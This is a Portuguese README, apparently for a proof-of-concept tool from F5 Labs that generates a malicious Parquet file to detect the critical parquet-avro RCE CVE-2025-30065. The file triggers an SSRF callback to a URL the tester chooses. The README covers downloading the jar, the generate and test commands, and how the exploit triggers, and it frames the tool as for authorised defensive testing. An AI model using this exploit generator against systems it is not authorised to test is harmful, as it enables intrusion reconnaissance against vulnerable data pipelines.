
Gera arquivos Apache Parquet maliciosos para testar a vulnerabilidade CVE-2025-30065 de RCE via callback SSRF. Projetado para testes de segurança autorizados em sistemas de processamento Parquet-avro.
(`-. ('-.
_(OO )_ _( OO)
.-----,--(_/ ,. (,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------.
' .--.\ \ /(__/| .---' .-')/ ,-. \/ .. \/ ,-. | ___| .-') / -. \/ .. \ / .. \ / .' | ___|
| |('-.\ \ / / | | _( OO'-' | . / \ '-' | | '--. _( OO)'-' _' . / \ . / \ . / -. | '--.
/_) |OO )\ ' /,(| '--(,------. .' /| | ' | .' /`---. '(,------. |_ <| | ' | | ' | .-. '`---. '.
|| |`-'| \ /__)| .--''------.' /__' \ / '.' /__.- | |'------.-. | ' \ / ' \ / ' \ | .- | |
(_' '--'\ \ / | `---. | |\ `' /| | `-' / \ `-' /\ `' / \ `' /\ `' /| `-' /
`-----' `-' `------' `-------' `---'' `-------'`----'' `----'' `---'' `---'' `----' `----''
Canary Exploit Generator - https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065
O mínimo necessário (ignore as instruções do README por sua conta e risco):
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
Pessoal de Compliance? Pessoal de AppSec? Pessoal de Gestão de Vulnerabilidades? O F5 Labs fez isso para vocês. Esta CVE tem uma pontuação CVSS 10, o que normalmente significa que são necessários prazos apertados. Empacotamos a ferramenta como um arquivo jar que pode gerar um arquivo parquet para você. Você pode fornecê-lo aos seus próprios sistemas para determinar se eles são vulneráveis - o que é útil tanto antes quanto depois da correção.
O crédito pelos internos deste PoC vai para Mouad Kondah. O artigo deles datado de 2025-04-07 discute esta CVE e seus PoCs.
O arquivo parquet abusa do comportamento em parquet-avro que permite passar uma String Java não confiável para um construtor de classe Java arbitrária. Você fornece a URL de callback, e quando seu sistema lê o arquivo parquet, isso resultará em um objeto javax.swing.JEditorPane tentando alcançar essa URL. Isso é benigno.
Quer um resumo rápido da ferramenta de exploit canário? Assista a este YouTube Short de dois minutos para uma demonstração ao vivo: [demo video].
Observe que existem dois cenários de vulnerabilidade que o F5 Labs conhece para o módulo parquet-avro:
String em tipos alternativos.org.apache.parquet.avro.SERIALIZABLE_PACKAGES tiver sido definida para algo permissivo, por exemplo *.Você pode usar isso com qualquer coisa para a qual seu sistema tenha saída (DNS e/ou HTTP(S)). Se você não tiver saída de nenhum tipo para a internet em geral, então considere qualquer coisa que seja alcançável dentro do seu data center para a qual você possa obter logs de acesso DNS ou HTTP. Esteja ciente que errar isso resultará em um falso negativo. Configurações altamente irregulares para org.apache.parquet.avro.SERIALIZABLE_PACKAGES podem concebivelmente levar a um falso negativo também, veja a subseção anterior.
Você é incentivado a ler e entender o código e construí-lo por conta própria. Fornecemos a compilação de distribuição do código como um jar neste repositório para sua conveniência.
Você precisará do JDK 21 ou posterior para compilar ou executar o gerador (termos de pesquisa como "instalação OpenJDK21" podem ajudar aqui). Se você está familiarizado com a instalação do JDK, estes são atalhos:
brew install openjdk@21sudo apt install openjdk-21-jdksudo yum install java-21-openjdkVocê pode baixar o jar ou clonar o repositório.
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
git clone https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065.git
cd parquet-canary-exploit-rce-poc-CVE-2025-30065
file build/libs/parquet_canary_exploit-fat.jar
shasum build/libs/parquet_canary_exploit-fat.jar
Saída esperada:
build/libs/parquet_canary_exploit-fat.jar: Zip archive data, at least v1.0 to extract, compression method=deflate
19ae361d589a9cd476bee31ba3f437094a8a6440 build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar -h
Saída esperada:

Primeiro, determine o que você quer que YOUR_CALLBACK_URL seja. Você precisa ser capaz de detectar quando seu backend de processamento de parquet resolve o nome de domínio da URL ou solicita a URL do servidor web. Você pode considerar canarytokens.org "Web bug" ou "DNS" para isso. Veja a seção Armadilhas acima para detalhes.
Execute este comando:
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
Isso gerará poc.parquet. Verifique assim:
file poc.parquet
Isso deve gerar:
poc.parquet: Apache Parquet
Este arquivo pode agora ser fornecido ao seu sistema. Se seu sistema for vulnerável, você receberá um callback. Veja também a seção Armadilhas.
Por conveniência, isso também gerará o arquivo se ele ainda não existir.
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test YOUR_CALLBACK_URL
python3 -m http.server --bind 127.0.0.1 9090 &
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test http://localhost:9090
Veja CanaryExploitGenerator.testParquetFile() para saber como o arquivo parquet é lido. É assim que o código nas profundezas do seu sistema se parecerá:
ParquetReader reader = AvroParquetReader.builder(inputFile).build();
// enough to trigger the construction of javax.swing.JEditorPane
Object object = reader.read();
Esta ferramenta destina-se apenas ao uso em ambientes autorizados de teste de segurança. Conheça as leis da(s) jurisdição(ões) aplicável(eis). Veja LICENSE.md para detalhes legais.